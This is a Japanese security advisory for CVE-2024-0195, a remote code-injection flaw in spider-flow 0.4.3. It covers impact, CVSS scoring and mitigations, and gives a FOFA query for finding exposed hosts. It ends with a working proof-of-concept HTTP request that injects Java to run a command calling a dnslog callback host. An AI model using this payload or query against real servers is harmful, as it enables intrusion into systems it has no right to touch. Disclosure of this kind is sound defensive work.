
CVE-2024-0195 コード生成の制御が不適切('コードインジェクション')
CVE-2024-0195 は、spider-flow 0.4.3 Web アプリケーションの FunctionController.java ファイル内の FunctionService.saveFunction 関数に存在する、重大なコードインジェクションの脆弱性です。攻撃者はリモートから悪意のあるコードを注入でき、そのコードがサーバー上で実行されます。これにより、アプリケーションの完全な侵害が可能になります。
この脆弱性は、影響を受ける spider-flow アプリケーションをホストしているサーバー上でリモートコード実行を可能にするため、極めて深刻です。攻撃者はサーバーを完全に侵害し、機密データを窃取し、マルウェアや仮想通貨マイナーをインストールし、ネットワーク内部でのさらなる攻撃に悪用する可能性があります。アプリケーションとサーバーの機密性、完全性、可用性はすべて重大な影響を受けます。
パッチ適用済みバージョンは明示されていないため、現時点ではパッチ適用は選択肢として存在しないようです。この脆弱性は公開されておりエクスプロイトも入手可能なため、直ちに緩和策を講じることが不可欠です。
公式パッチがリリースされるまで、spider-flow 0.4.3 は直ちにオフラインにするか、信頼できるネットワーク/ユーザーのみにアクセスを制限すべきです。暫定的な緩和策として、Web アプリケーションファイアウォールやその他の入力検証コントロールを構成し、コードインジェクション攻撃の試みを検出・ブロックできる可能性があります。ただし、これらは完全な解決策ではなく、修正版がリリースされ次第、脆弱性のあるバージョンをアップグレードする必要があります。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
FOFA : app="spiderflow"
✔ 概念実証
POST /function/save HTTP/1.1
Host: 192.168.116.128:8080
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 139
id=&name=test¶meter=test&script=return+java.lang.%2F****%2FRuntime%7D%3Br%3Dtest()%3Br.getRuntime().exec('ping+18k2tu.dnslog.cn')%3B%7B